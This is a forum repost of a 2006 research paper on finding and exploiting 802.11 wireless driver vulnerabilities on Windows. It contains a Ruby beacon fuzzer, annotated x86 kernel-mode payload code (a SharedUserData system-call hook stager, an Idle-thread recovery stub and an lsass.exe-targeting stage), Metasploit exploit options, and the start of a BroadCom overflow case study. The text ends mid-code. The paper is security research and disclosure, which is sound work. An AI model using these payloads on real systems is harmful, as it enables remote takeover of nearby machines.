Nytro Posted December 23, 2012 Report Posted December 23, 2012 Exploiting 802.11 Wireless Driver Vulnerabilities on WindowsExploiting 802.11 Wireless Driver Vulnerabilities on Windows11/2006Johnny Cache (johnycsh[a t]802.11mercenary.net)H D Moore (hdm[a t]metasploit.com)skape (mmiller[a t]hick.org)1) ForewordAbstract: This paper describes the process of identifying and exploiting802.11 wireless device driver vulnerabilities on Windows. This process isdescribed in terms of two steps: pre-exploitation and exploitation. Thepre-exploitation step provides a basic introduction to the 802.11 protocolalong with a description of the tools and libraries the authors used to createa basic 802.11 protocol fuzzer. The exploitation step describes the commonelements of an 802.11 wireless device driver exploit. These elements includethings like the underlying payload architecture that is used when executingarbitrary code in kernel-mode on Windows, how this payload architecture hasbeen integrated into the 3.0 version of the Metasploit Framework, and theinterface that the Metasploit Framework exposes to make developing 802.11wireless device driver exploits easy. Finally, three separate real worldwireless device driver vulnerabilities are used as case studies to illustratethe application of this process. It is hoped that the description andillustration of this process can be used to show that kernel-modevulnerabilities can be just as dangerous and just as easy to exploit asuser-mode vulnerabilities. In so doing, awareness of the need for more robustkernel-mode exploit prevention technology can be raised.Thanks: The authors would like to thank David Maynor, Richard Johnson, andChris Eagle.2) IntroductionSoftware security has matured a lot over the past decade. It has gone frombeing an obscure problem that garnered little interest from corporations tosomething that has created an industry of its own. Corporations that once sawlittle value in investing resources in software security now have entire teamsdedicated to rooting out security issues. The reason for this shift inattitude is surely multifaceted, but it could be argued that the greatestinfluence came from improvements to exploitation techniques that could be usedto take advantage of software vulnerabilities. The refinement of thesetechniques made it possible for reliable exploits to be used without anyknowledge of the vulnerability. This shift effectively eliminated the alreadythin crutch of barrier-to-entry complacency which many corporations wereguilty of leaning on.Whether or not the refinement of exploitation techniques was indeed theturning point, the fact remains that there now exists an industry that hasbeen spawned in the name of software security. Of particular interest for thepurpose of this paper are the corporations and individuals within thisindustry that have invested time in researching and implementing solutionsthat attempt to tackle the problem of exploit prevention. As a result of thistime investment, things like non-executable pages, address space layoutrandomization (ASLR), stack canaries, and other novel preventative measuresare becoming common place in the desktop market. While there should be noargument that the main-stream integration of many of these technologies is agood thing, there's a problem. This problem centers around the fact that the majority of these exploitprevention solutions to date have been slightly narrow-sighted in theirimplementations. In particular, these solutions generally focus on preventingexploitation in only one context: user-mode. This is not true in all cases.The authors would like to take care to mention that solutions like grsecurityfrom the PaX team have had support for features that help to providekernel-level security. Furthermore, stack canary implementations have existedand are integrated with many mainstream kernels. However, not all devicedrivers have been compiled to take advantage of these new enhancements. Thereason for this narrow-sightedness is often defended based on the fact thatkernel-mode vulnerabilities have been far less prevalent. Furthermore,kernel-mode vulnerabilities are considered by most to require a much moresophisticated attack when compared with user-mode vulnerabilities. The prevalence of kernel-mode vulnerabilities could be interpreted in manydifferent ways. The naive way would be to think that kernel-modevulnerabilities really are few and far between. After all, this is code thatshould have undergone rigorous code coverage testing. A second interpretationmight consider that kernel-mode vulnerabilities are more complex and thusharder to find. A third interpretation might be that there are fewer eyesfocused on looking for kernel-mode vulnerabilities. While there are certainlyother factors, the authors feel that it is probably best captured by thesecond and third interpretation.Even if prevalence is affected because of the relative difficulty ofexploiting kernel-mode vulnerabilities, it's still a poor excuse for exploitprevention solutions to simply ignore it. The past has already shown thatexploitation techniques for user-mode vulnerabilities were refined to thepoint of creating increasingly reliable exploits. These increasingly reliableexploits were then incorporated into automated worms. What's so differentabout kernel-mode vulnerabilities? Sure, they are complicated, but so wereheap overflows. The authors see no reason to expect that kernel-modevulnerabilities won't also experience a period of revolutionary publicadvancements to existing exploitation techniques. In fact, this period hasalready started[5,2,1]. Still, most corporations seem content to lean on the sameset of crutches, waiting for proof that a problem really exists. It's hopedthat this paper can assist in the process of making it clear that kernel-modevulnerabilities can be just as easy to exploit as user-mode vulnerabilities.It really shouldn't come as a surprise that kernel-mode vulnerabilities exist.The intense focus put upon preventing the exploitation of user-modevulnerabilities has caused kernel-mode security to lag behind. This lag isfurther complicated by the fact that developers who write kernel-mode softwaremust generally have a completely different mentality relative to what mostuser-mode developers are acustomed to. This is true regardless of whatoperating system a programmer might be dealing with (so long as it's atask-oriented operating system with a clear separation between system anduser). User-mode programmers who decide to dabble in writing device driversfor NT will find themselves in for a few surprises. The most apparent thingone would notice is that the old Windows Driver Model (WDM) and the newWindows Driver Framework (WDF) represent completely different APIs relative towhat a user-mode developer would be familiar with. There are a number ofstandard C runtime artifacts that can still be used, but their use in devicedriver code stands out like a sore thumb. This fact hasn't stopped developersfrom using dangerous string functions.While the API being completely different is surely a big hurdle, there are anumber of other gotchas that a user-mode programmer wouldn't normally findthemselves worrying about. One of the most interesting limitations imposedupon device driver developers is the conservation of stack space. On modernderivatives of NT, kernel-mode threads are only provided with 3 pages (12288bytes) of stack space. In user-mode, thread stacks will generally grow aslarge as 256KB (this default limit is controlled by the optional header of anexecutable binary). Due to the limited amount of kernel-mode thread stackspace, it should be rare to ever see a device driver consuming a large amountof space within a stack frame. Nevertheless, it was observed that the IntelCentrino drivers have multiple instances of functions that consume over 1 pageof stack space. That's 33% of the available stack space wasted within onestack frame!Perhaps the most important of all of the differences is the extra care thatmust be taken when it comes to dealing with things like performance, errorhandling, and re-entrancy. These major elements are critical to ensuring thestability of the operating system as a whole. If a programmer is negligent intheir handling of any of these things in user-mode, the worst that will happenis the application will crash. In kernel-mode, however, a failure to properlyaccount for any of these elements will generally affect the stability of thesystem as a whole. Even worse, security related flaws in device driversprovide a point of exposure that can result in super-user privileges. From this very brief introduction, it is hoped that the reader will begin torealize that device driver development is a different world. It's a worldthat's filled with a greater number of restrictions and problems, where theimplications of software bugs are much greater than one would normally see inuser-mode. It's a world that hasn't yet received adequate attention in theform of exploit prevention technology, thus making it possible to improve andrefine kernel-mode exploitation techniques. It should come as no surprisethat such a world would be attractive to researchers and tinkerers alike.This very attraction is, in fact, one of the major motivations for this paper.While the authors will focus strictly on the process used to identify andexploit flaws in wireless device drivers, it should be noted that other devicedrivers are equally likely to be prone to security issues. However, most otherdevice drivers don't have the distinction of exposing a connectionless layer2attack surface to all devices in close proximity. Frankly, it's hard toget much cooler than that. That only happens in the movies, right?To kick things off, the structure of this paper is as follows. In chapter 3,the steps used to find vulnerabilities in wireless device drivers, such asthrough the use of fuzzing, are described. Chapter 4 explains the process ofactually leveraging a device driver vulnerability to execute arbitrary codeand how the 3.0 version of the Metasploit Framework has been extended to makethis trivial to deal with. Finally, chapter 5 provides three real worldexamples of wireless device driver vulnerabilities. Each real world exampledescribes the trials and tribulations of the vulnerability starting with theinitial discovery and ending with arbitrary code execution.3) Pre-ExploitationThis chapter describes the tools and strategies used by the authors toidentify 802.11 wireless device driver vulnerabilities. Section 3.1 provides abasic description of the 802.11 protocol in order to provide thereader with information necessary to understand the attack surface that isexposed by 802.11 device drivers. Section 3.2 describes the basic interfaceexposed by the 3.0 version of the Metasploit Framework that makes it possibleto craft arbitrary 802.11 packets. Finally, section 3.3 describes a basicapproach to fuzzing certain aspects of the way a device driver handles certain802.11 protocol functions.3.1) Attack SurfaceDevice drivers suffer from the same types of vulnerabilities that apply to anyother code written in the C programming language. Buffer mismanagement, faultypointer math, and integer overflows can all lead to exploitable conditions.Device driver flaws are often seen as a low risk issue due to the fact thatmost drivers do not process attacker-controlled data. The exception, ofcourse, are drivers for networking devices. Although Ethernet devices (andtheir drivers) have been around forever, the simplicity of what the driver hasto handle has greatly limited the attack surface. Wireless drivers arerequired to handle a wider range of requests and are also required to exposethis functionality to anyone within range of the wireless device.In the world of 802.11 device drivers, the attack surface changes based on thestate of the device. The three primary states are: 1. Unauthenticated and Unassociated 2. Authenticated and Unassociated 3. Authenticated and AssociatedIn the first state, the client is not connected to a specific wirelessnetwork. This is the default state for 802.11 drivers and will be the focusfor this section. The 802.11 protocol defines three different types of frames:Control, Management, and Data. These frame types are further divided intothree classes (1, 2, and 3). Only frames in the first class are processed inthe Unauthenticated and Unassociated state.The following 802.11 management sub-types are processed by clients while instate 1[3]: 1. Probe Request 2. Probe Reponse 3. Beacon 4. AuthenticationThe Probe Response and Beacon sub-types are used by wireless devices todiscover and advertise the local wireless networks. Clients can transmit ProbeResponses to discover networks as well (more below). The Authenticationsub-type is used to join a specific wireless network and reach the secondstate. Wireless clients discover the list of available networks in two differentways. In Active Mode, the client will send a Probe Request containing anempty SSID field. Any access point in range will reply with a Probe Responsecontaining the parameters of the wireless network it serves. Alternatively,the client can specify the SSID it is looking for. In Passive Mode, clientswill listen for Beacon requests and read the network parameters from withinthe beacon. Since both of these methods result in a frame that containswireless network information, it makes sense for the frame format to besimilar. The method chosen by the client is determined by the capabilities ofthe device and the application using the driver.A beacon frame includes a generic 802.11 header that defines the packet type,source, destination, Basic Service Set ID (BSSID) and other envelopeinformation. Beacons also include a fixed-length header that is composed of atimestamp, beacon interval, and a capabilities field. The fixed-length headeris followed by one or more Information Elements (IEs) which arevariable-length fields and contain the bulk of the access point information.A probe response frame is almost identical to a beacon frame except that thedestination address is set to that of the client whereas beacons set it to thebroadcast address.Information elements consist of an 8-bit type field, an 8-bit length field,and up to 255 bytes of data. This type of structure is very similar to thecommon Type-Length-Value (TLV) form used in many different protocols. Beaconand probe response packets must contain an SSID IE, a Supported Rates IE, anda Channel IE for most wireless clients to process the packet.The 802.11 specification states that the SSID field (the human name for agiven wireless network) should be no more than 32 bytes long. However, themaximum length of an information element is 255 bytes long. This leaves quitea bit of room for error in a poorly-written wireless driver. Wireless driverssupport a large number of different information element types. The standardeven includes support for proprietary, vendor-specific IEs.3.2) Packet InjectionIn order to attack a driver's beacon and probe response processing code, amethod of sending raw 802.11 frames to the device is needed. Although theability to send raw 802.11 packets is not a supported feature in most wirelesscards, many open-source drivers can be convinced to integrate support with asmall patch. A few even support it natively. Under the Linux operatingsystem, there is a wide range of hardware and drivers that support raw packetinjection. Unfortunately, each driver provides a slightly different interfacefor accessing this feature. To support many different wireless cards, ahardware-independent method for sending raw 802.11 frames is needed.The solution is the LORCON library (Loss of Radio Connectivity), written byMike Kershaw and Joshua Wright. This library provides a standardized interfacefor sending raw 802.11 packets through a variety of supported drivers.However, this library is written in C and does not expose any Ruby bindings bydefault. To make it possible to interact with this library from Ruby, a newRuby extension (ruby-lorcon) was created that interfaces with the LORCONlibrary and exposes a simple object-oriented interface. This wrapper interfacemakes it possible to send arbitrary wireless packets from a Ruby script.The easiest way to call the ruby-lorcon interface from a Metasploit module isthrough a mixin. Mixins are used in the 3.0 version of the MetasploitFramework to improve code reuse and allow any module to import a rich featureset simply by including the right mixins. The mixin that exists for LORCONprovides three new user options and a simple API for opening the interface,sending packets, and changing the channel.+-----------+----------+----------+--------------------------------------------+| Name | Default | Required | Description |+-----------+----------+----------+--------------------------------------------+| CHANNEL | 11 | yes | The default channel number || DRIVER | madwifi | yes | The name of the wireless driver for lorcon | | INTERFACE | ath0 | yes | The name of the wireless interface |+-----------+----------+----------+--------------------------------------------+A Metasploit module that wants to send raw 802.11 packets should include theMsf::Exploit::Lorcon mixin. When this mixin is used, a module can make useof wifi.open() to open the interface and wifi.write() to send packets. The userwill specify the INTERFACE and DRIVER options for their particular hardwareand driver. The creation of the 802.11 packet itself is left in the hands ofthe module developer.3.3) Vulnerability DiscoveryOne of the fastest ways to find new flaws is through the use of a fuzzer. Ingeneral terms, a fuzzer is a program that forces an application to processhighly variant data that is typically malformed in the hopes that one of theattempts will yield a crash. Fuzzing a wireless device driver depends on thedevice being in a state where specific frames are processed and a tool thatcan send frames likely to cause a crash. In the first part of this chapter,the authors described the default state of a wireless client and what types ofmanagement frames are processed in this state. The two types of frames that this paper will focus on are Beacons and ProbeResponses. These frames have the following structure: +------+----------------------+ | Size | Description | +------+----------------------+ | 1 | Frame Type | | 1 | Frame Flags | | 2 | Duration | | 6 | Destination | | 6 | Source | | 6 | BSSID | | 2 | Sequence | | 8 | Timestamp | | 2 | Beacon Interval | | 2 | Capability Flags | | Var | Information Elements | | 2 | Frame Checksum | +------+----------------------+The Information Elements field is a list of variable-length structuresconsisting of a one byte type field, a one byte length field, and up to 255bytes of data. Variable-length fields are usually good targets for fuzzingsince they require special processing when the packet is parsed. To attack adriver that uses Passive Mode to discover wireless networks, it's necessary toflood the target with mangled Beacons. To attack a driver that uses ActiveMode, it's necessary to flood the target with mangled Probe Responses whileforcing it to scan for networks. The following Ruby code generates a Beaconframe with randomized Information Element data. The Frame Checksum field isautomatically added by the driver and does not need to be included.## Generate a beacon frame with random information elements## Maximum frame size (max is really 2312)mtu = 1500# Number of information elementsies = rand(1024)# Randomized SSIDssid = Rex::Text.rand_text_alpha(rand(31)+1)# Randomized BSSIDbssid = Rex::Text.rand_text(6)# Randomized sourcesrc = Rex::Text.rand_text(6)# Randomized sequenceseq = [rand(255)].pack('n')# Capabiltiiescap = Rex::Text.rand_text(2)# Timestamptstamp = Rex::Text.rand_text(8)frame = "\x80" + # type/subtype (mgmt/beacon) "\x00" + # flags "\x00\x00" + # duration "\xff\xff\xff\xff\xff\xff" + # dst (broadcast) src + # src bssid + # bssid seq + # seq tstamp + # timestamp value "\x64\x00" + # beacon interval cap # capabilities # First IE: SSID "\x00" + ssid.length.chr + ssid + # Second IE: Supported Rates "\x01" + "\x08" + "\x82\x84\x8b\x96\x0c\x18\x30\x48" + # Third IE: Current Channel "\x03" + "\x01" + channel.chr# Generate random Information Elements and append them 1.upto(ies) do |i| max = mtu - frame.length break if max < 2 t = rand(256) l = (max - 2 == 0) ? 0 : (max > 255) ? rand(255) : rand(max - 1) d = Rex::Text.rand_text(l) frame += t.chr + l.chr + dendWhile this is just one example of a simple 802.11 fuzzer for a particularframe, much more complicated, state-aware fuzzers could be implemented thatmake it possible to fuzz other packet handling areas of wireless devicedrivers.4) ExploitationAfter an issue has been identified through the use of a fuzzer or throughmanual analysis, it's necessary to begin the process of determining a way toreliably gain control of the instruction pointer. In the case of stack-basedbuffer overflows on Windows, this process is often as simple as determiningthe offset to the return address and then overwriting it with an address of aninstruction that jumps back into the stack. That's the best case scenario,though, and there are often other hurdles that one may have to overcomeregardless of whether or not the vulnerability exists in a device driver or ina user-mode program. These hurdles and other factors are what tend to makethe process of getting reliable control of the instruction pointer one of themost challenging steps in exploit development. Rather than exhaustivelydescribing all of the problems one could run into, the authors will insteadprovide illustrations in the form of real world examples included in chapter 5. Assuming reliable control of the instruction pointer can be gained, thedevelopment of an exploit typically transitions into its final stage:arbitrary code execution. In user-mode, this stage has been completelyautomated for most exploit developers. It's become common practice to simplyuse Metasploit's user-mode payload generator. Kernel-mode payloads, on theother hand, have not seen an integrated solution for producing reliablepayloads that can be dropped into any exploit. That's certainly not to saythat there hasn't been previous work dealing with kernel-mode payloads, asthere definitely has been[2,1], but their form up to now has been one that is notparticularly easy to adopt. This lack of easy to use kernel-mode payloads canbe seen as one of the major reasons why there has not been a large number ofpublic, reliable kernel-mode exploits.Since one of the goals of this paper is to illustrate how kernel-mode exploitscan be written just as easily as user-mode exploits, the authors determinedthat it was necessary to incorporate the existing set of kernel-mode payloadideas into the 3.0 version of the Metasploit framework where they could beused freely with any future kernel-mode exploits. While this finalintegration was certainly the end-goal, there were a number of important stepsthat had to be taken before the integration could occur. The followingsections will attempt to provide this background. In section 4.1, detailsregarding the payload architecture that the authors selected is described indetail. This section also includes a description of the interface that hasbeen exposed in the 3.0 version of the Metasploit Framework for developers whowish to implement kernel-mode exploits.4.1) Payload ArchitectureThe payload architecture that the authors decided to integrate was basedheavily off previous research[1]. As was alluded to in the introduction, thereare a number of complicated considerations that must be taken into accountwhen dealing with kernel-mode exploitation. A large majority of theseconsiderations are directly related to what methods should be used whenexecuting arbitrary code in the kernel. For example, if a device driver washolding a lock at the time that an exploit was triggered, what might be thebest way to go about releasing that lock so as to recover the system so thatit will still be possible to interact with it in a meaningful way? Othertypes of considerations include things like IRQL restrictions, cleaning upcorrupted structures, and so on. These considerations lead to there beingmany different ways in which a payload might best be implemented for aparticular vulnerability. This is quite a bit different from the user-modeenvironment where it's almost always possible to use the exact same payloadregardless of the application.Though these situational complications do exist, it is possible to design andimplement a payload system that can be applied in almost any circumstance. Byseparating kernel-mode payloads into variable components, it becomes possibleto combine components together in different ways to form functional variationsthat are best suited for particular situations. In Windows Kernel-modePayload Fundamentals [1], kernel-mode payloads are broken down into fourdifferent components: migration, stagers, recovery, and stages.When describing kernel-mode payloads in terms of components, the migrationcomponent would be one that is used to migrate from an unsafe executionenvironment to a safe execution environment. For example, if the IRQL is atDISPATCH when a vulnerability is triggered, it may be necessary to migrate toa safer IRQL such as PASSIVE. It is not always necessary to have a migrationcomponent. The purpose of a stager component is to move some portion of thepayload so that it executes in the context of another thread context. Thismay be necessary if the current thread is of critical importance or may leadto a deadlock of the system should certain operations be used. The use of astager may obviate the need for a migration component. A recovery componentis something that is used to restore the system to clean state and thencontinue execution. This component is generally one that may requirecustomization for a given vulnerability as it may not always be possible todescribe the steps needed to recover the system in a generic way. Forexample, if locks were held at the time that the vulnerability was triggered,it may be necessary to find a way to release those locks and then continueexecution from a safe point. Finally, the stage component is a catch-all forwhatever arbitrary code may be executed once the payload is running in a safeenvironment.This model for describing kernel-mode payloads is what the authors decided toadopt. To better understand how this model works, it seems best to describehow it was applied for all three real world vulnerabilities that are shown inchapter 5. These three vulnerabilities actually make use of the same basicunderlying payload, which will henceforth be referred to as ``the payload''for brevity. The payload itself is composed of three of the four components.Each of the payload components will be discussed individually and then as awhole to provide an idea for how the payload operates.The first component that exists in the payload is a stager component. Thestager that the authors chose to use is based on the SharedUserData SystemCallHook stager described in [1]. Before understanding how the stager works, it'simportant to understand a few things. As the name implies, the stageraccomplishes its goal by hooking the SystemCall attribute found withinSharedUserData. As a point of reference, SharedUserData is a global page thatis shared between user-mode and kernel-mode. It acts as a sort of globalstructure that contains things like tick count and time information, versioninformation, and quite a few other things. It's extremely useful for a fewdifferent reasons, not the least of which being that it's located at a fixedaddress in user-mode and in kernel-mode on all NT derivatives. This meansthat the stager is instantly portable and doesn't need to perform any symbolresolution to locate the address, thus helping to keep the overall size of thepayload small. The SystemCall attribute that is hooked is part of an enhancement that wasadded in Windows XP. This enhancement was designed to make it possible to useoptimized system call instructions depending on what hardware support ispresent on a given machine. Prior to Windows XP, system calls were dispatchedfrom user-mode through the hardcoded use of the int 0x2e soft interrupt. Overtime, hardware enhancements were made to decrease the overhead involved inperforming a system call, such as through the introduction of the sysenterinstruction. Since Microsoft isn't in the business of providing differentversions of Windows for different makes and models of hardware, they decidedto determine at runtime which system call interface to use. SharedUserDatawas the perfect candidate for storing the results of this runtimedetermination as it was already a shared page that existed in every user-modeprocess. After making these modifications, ntdll.dll was updated to dispatchsystem calls through SharedUserData rather than through the hardcoded use ofint 0x2e. The initial implementation of this new system call dispatchinginterface placed executable code within the SystemCall attribute ofSharedUserData. Subsequent versions of Windows, such as XP SP2, turned theSystemCall attribute into a function pointer. One important implication about the introduction of the SystemCall attributeto SharedUserData is that it represents a pivot point through which all systemcall dispatching occurs in user-mode. In previous versions of Windows, eachuser-mode system call stub routine invoked int 0x2e directly. In the latestversions, these stub routines make indirect calls through the SystemCallfunction pointer. By default, this function pointer is initialized to pointto one of a few exported symbols within ntdll.dll. However, the implicationsof this function pointer being changed to point elsewhere mean that it wouldbe possible to intercept all system calls within all processes. Thisimplication is what forms the very foundation for the stager that is used bythe payload.When the stager begins executing, it's running in kernel-mode in the contextof the thread that triggered the vulnerability. The first action it takes isto copy a chunk of code (the stage) into an unused portion of SharedUserDatausing the predictable address of 0xffdf037c. After the copy operationcompletes, the stager proceeds by hooking the SystemCall attribute. This hookmust be handled differently depending on whether or not the target operatingsystem is pre-XP SP2 or not. More details on how this can be handled aredescribed in [1]. Regardless of the approach, the SystemCall attribute isredirected to point to 0x7ffe037c. This predictable location is the user-modeaccessible address of the unused portion of SharedUserData where the stage wascopied into. After the hooking operation completes, all system calls invokedby user-mode processes will first go through the stage placed at 0x7ffe037c.The stager portion of the payload looks something like this (note, thisimplementation is only designed to work on XP SP2 and Windows 2003 Server SP1.Modifications would need to be made to make it work on previous versions of XPand 2003):; Jump/Call to get the address of the stage00000000 EB38 jmp short 0x3a00000002 BB0103DFFF mov ebx,0xffdf030100000007 4B dec ebx00000008 FC cld; Copy the stage into 0xffdf037c00000009 8D7B7C lea edi,[ebx+0x7c]0000000C 5E pop esi0000000D 6AXX push byte num_stage_dwords0000000F 59 pop ecx00000010 F3A5 rep movsd; Set edi to the address of the soon-to-be function pointer00000012 BF7C03FE7F mov edi,0x7ffe037c; Check to make sure the hook hasn't already been installed00000017 393B cmp [ebx],edi00000019 7409 jz 0x24; Grab SystemCall function pointer0000001B 8B03 mov eax,[ebx]0000001D 8D4B08 lea ecx,[ebx+0x8]; Store the existing value in 0x7ffe030800000020 8901 mov [ecx],eax; Overwrite the existing function pointer and make things live!00000022 893B mov [ebx],edi; recovery stub here0000003A E8C3FFFFFF call 0x2; stage hereWith the hook in place, the stager has completed its primary task which was tocopy a stage into a location where it could be executed in the future. Beforethe stage can execute, the stager must allow the recovery component of thepayload to execute. As mentioned previously, the recovery componentrepresents one of the most vulnerability-specific portions of any kernel-modepayload. For the purpose of the exploits described in chapter 5, a specialpurpose recovery component was necessary.This particular recovery component was required due to the fact that theexample vulnerabilities are triggered in the context of the Idle thread. OnWindows, the Idle thread is a special kernel thread that executes whenever aprocessor is idle. Due to the nature of the way the Idle thread operates,it's dangerous to perform operations like spinning the thread or any of theother recovery methods described in [1]. It may also be possible to apply thetechnique for delaying execution within the Idle thread as discussed in [2]. Therecovery method that was finally selected involves two basic steps. First,the IRQL for the current processor is restored to DISPATCH level just in caseit was executing at a higher IRQL. Second, execution control is transferredinto the first instruction of nt!KiIdleLoop after initializing registersappropriately. The end effect is that the idle thread begins executing allover again and, if all goes well, the system continues operating as if nothinghad happened. In practice, this recovery method has been proven reliable.However, the one negative that it is has is that it requires knowledge of theaddress that nt!KiIdleLoop resides at. This dependence represents an areathat is ripe for future improvement. Regardless of limitations, the recoverycomponent for the payload looks like the code below:; Restore the IRQL00000024 31C0 xor eax,eax00000026 64C6402402 mov byte [fs:eax+0x24],0x2; Initialize assumed registers0000002B 8B1D1CF0DFFF mov ebx,[0xffdff01c]00000031 B827BB4D80 mov eax,0x804dbb2700000036 6A00 push byte +0x0; Transfer control to nt!KiIdleLoop00000038 FFE0 jmp eaxAfter the recovery component has completed its execution, all of the payloadcode that was originally executing in kernel-mode is complete. The finalportion of the payload that remains to be executed is the stage that wascopied by the stager. The stage itself runs in user-mode within all processcontexts, and it executes every time a system call is dispatched. Theimplications of this should be obvious. Having a stage that executes withinevery process every time a system call occurs is just asking for trouble. Forthat reason, it makes sense to design a generic user-mode stage that can beused to limit the times that it executes to one particular context.The approach that the authors took to meet this requirement is as follows.First, the stage performs a check that is designed to see if it is running inthe context of a specific process. This check is there in order to helpensure that the stage itself only executes in a known-good environment. As anexample, it would be a shame to take advantage of a kernel-mode vulnerabilityonly to finally execute code with the privileges of Guest. By default, thischeck is designed to see if the stage is running within lsass.exe, a processthat runs with SYSTEM level privileges. If the stage is running within lsass,it performs a check to see if the SpareBool attribute of the ProcessEnvironment Block has been set to one. By default, this value is initializedto zero in all processes. If the SpareBool attribute is set to zero, then thestage proceeds to set the SpareBool attribute to one and then finishes byexecuting whatever code is remaining within the stage. If the SpareBoolattribute is set to one, which means the stage has already run, or it's notrunning within lsass, it transfers control back to the original system calldispatching routine. This is necessary because it is still a requirement thatsystem calls from user-mode processes be dispatched appropriately, otherwisethe system itself would grind to a halt. An example of what this stage mightlook like is shown below:; Preserve the calling environment0000003F 60 pusha00000040 6A30 push byte +0x3000000042 58 pop eax00000043 99 cdq00000044 648B18 mov ebx,[fs:eax]; Check if Peb->Ldr is NULL00000047 39530C cmp [ebx+0xc],edx0000004A 7426 jz 0x72; Extract Peb->ProcessParameters->ImagePathName.Buffer0000004C 8B5B10 mov ebx,[ebx+0x10]0000004F 8B5B3C mov ebx,[ebx+0x3c]; Add 0x28 to the image path name (skip past c:\windows\system32\)00000052 83C328 add ebx,byte +0x28; Compare the name of the executable with lass00000055 8B0B mov ecx,[ebx]00000057 034B03 add ecx,[ebx+0x3]0000005A 81F96C617373 cmp ecx,0x7373616c; If it doesn't match, execute the original system call dispatcher00000060 7510 jnz 0x7200000062 648B18 mov ebx,[fs:eax]00000065 43 inc ebx00000066 43 inc ebx00000067 43 inc ebx; Check if Peb->SpareBool is 1, if it is, execute the original; system call dispatcher00000068 803B01 cmp byte [ebx],0x10000006B 7405 jz 0x72; Set Peb->SpareBool to 10000006D C60301 mov byte [ebx],0x1; Jump into the continuation stage00000070 EB07 jmp short 0x79; Restore the calling environment and execute the original system call; dispatcher that was preserved in 0x7ffe030800000072 61 popa00000073 FF250803FE7F jmp near [0x7ffe0308]; continuation of the stageThe culmination of these three payload components is a functional payload thatcan be used in any situation where an exploit is triggered within the Idlethread. If the exploit is triggered outside of the context of the Idlethread, the recovery component can be swapped out with an alternative methodand the rest of the payload can remain unchanged. This is one of the benefitsof breaking kernel-mode payloads down into different components. To recap,the payload works by using a stager to copy a stage into an unused portion ofSharedUserData. The stager then points the SystemCall attribute to thatunused portion, effectively causing all user-mode processes to bounce throughthe stage when they attempt to make a system call. Once the stager hascompleted, the recovery component restores the IRQL to DISPATCH and thenrestarts the Idle thread. The kernel-mode portion of the payload is thencomplete. Shortly after that, the stage that was copied to SharedUserData isexecuted in the context of a specific user-mode process, such as lsass.exe.Once this occurs, the stage sets a flag that indicates that it's been executedand completes. All told, the payload itself is only 115 bytes, excluding anyadditional code in the stage.Given all of this infrastructure work, it's trivial to plug almost anyuser-mode payload into the stage. The additional code must simply be placedat the point where it's verified that it's running in a particular process andthat it hasn't been executed before. The reason for it being so trivial wasquite intentional. One of the major goals in implementing this payload systemwas to make it possible to use the existing set of payloads that exist in theMetasploit framework in conjunction with any kernel-mode exploit. Thisincludes even some of the more powerful payloads such as Meterpreter and VNCinjection. There were two key elements involved in integrating kernel-mode payloads intothe 3.0 version of the Metasploit Framework. The first had to do withdefining the interface that exploit developers would need to use when writingkernel-mode exploits. The second delt with defining the interface theend-users would have to be aware of when using kernel-mode exploits. In termsof precedence, defining the programming level interfaces first is the idealapproach. To that point, the programming interface that was decided upon isone that should be pretty easy to use. The majority of the complexityinvolved in selecting a kernel-mode payload is hidden from the developer.There are only a few basic things that the developer needs to be aware of.When implementing a kernel-mode exploit in Metasploit 3.0, it is necessary toinclude the Msf::Exploit::KernelMode mixin. This mixin provides hints to theframework that make it aware of the fact that any payloads used with thisexploit will need to be appropriately encapsulated within a kernel-modestager. With this simple action, the majority of the work associated with thekernel-mode payload is abstracted away from the developer. The only otherelements that a developer may need to deal with is the process of definingextended parameters that are used to further control the process of selectingdifferent aspects of the kernel-mode payload. These controlable parametersare exposed to developers through the ExtendedOptions hash element in anexploit's global or target-specific Payload options. An example of what thismight look like within an exploit can be seen here:'Payload' =>{ 'ExtendedOptions' => { 'Stager' => 'sud_syscall_hook', 'Recovery' => 'idlethread_restart', 'KiIdleLoopAddress' => 0x804dbb27, }}In the above example, the exploit has explicitly selected the underlyingstager component that should be used by specifying the Stager hash element.The sudsyscallhook stager is a symbolic name for the stager that was describedin section 4.1. The example above also has the exploit explicitly selecting therecovery component that should be used. In this case, the recovery componentthat is selected is idlethreadrestart which is a symbolic name for therecovery component described previously. Additionally, the nt!KiIdleLoopaddress is specified for use with this particular recovery component. Underthe hood, the use of the KernelMode mixin and the additional extended optionsresults in the framework encapsulating whatever user-mode payload the end-userspecified inside of a kernel-mode stager. In the end, this process isentirely transparent to both the developer and the end-user.While the set of options that can be specified in the extended options hashwill surely grow in the future, it makes sense to at least document the set ofdefined elements at the time of this writing. These options include:Recovery: Defines the recovery component that should be used when generatingthe kernel-mode payload. The current set of valid values for this optioninclude spin, which will spin the current thread, idlethreadrestart, whichwill restart the Idle thread, or default which is equivalent to spin. Overtime, more recovery methods may be added. These can be found in recovery.rb. RecoveryStub: Defines a custom recovery component. Stager: Defines the stager component that should be used when generating thekernel-mode payload. The current set of valid values for this option includesudsyscallhook. Over time, more stager methods may be added. These can befound in stager.rb. UserModeStub: Defines the user-mode custom code that should be executed aspart of the stage. RunInWin32Process: Currently only applicable to the sudsyscallhook stager.This element specifies the name of the system process, such as lsass.exe, thatshould be injected into. KiIdleLoopAddress: Currently only applicable to the idlethreadrestart recoverycomponent. This element specifies the address of nt!KiIdleLoop. While not particularly important to developers or end-users, it may beinteresting for some to understand how this abstraction works internally. Tostart things off, the KernelMode mixin overrides a base class method calledencodebegin. This method is called when a payload that is used by an exploitis being encoded. When this happens, the mixin declares a procedure that iscalled by the payload encoder. In turn, this procedure is called by thepayload encoder in the context of encapsulating the pre-encoded payload. Theprocedure itself is passed the original raw user-mode payload and the payloadoptions hash (which contains the extended options, if any, that were specifiedin the exploit). It uses this information to construct the kernel-mode stagerthat is used to encapsulate the user-mode payload. If the procedure completessuccessfully, it returns a non-nil buffer that contains the original user-modepayload encapsulated within a kernel-mode stager. The kernel-mode stager andother components are actually contained within the payloads subsystem of theRex library under lib/rex/payloads/win32/kernel.5) Case StudiesThis chapter describes three separate vulnerabilities that were found by theauthors in real world 802.11 wireless device drivers. These three issues werefound through a combination of fuzzing and manual analysis. 5.1) BroadComThe first vulnerability that was subject to the process described in thispaper was an issue that was found in BroadCom's wireless device driver. Thisvulnerability was discovered by Chris Eagle as a result of his interest indoing some reversing of kernel-mode code. Chris noticed what appeared to be aconventional stack overflow in the way the BroadCom device driver handledbeacon packets. As a result of this tip, a simple program was written thatgenerated beacon packets with overly sized SSIDs. The code that was used todo this is shown below:int main(int argc, char **argv){ Packet_80211 BeaconPacket; CreatePacketForExploit(BeaconPacket, basic_target); printf("Looping forever, sending packets.\n"); while(true) { int ret = 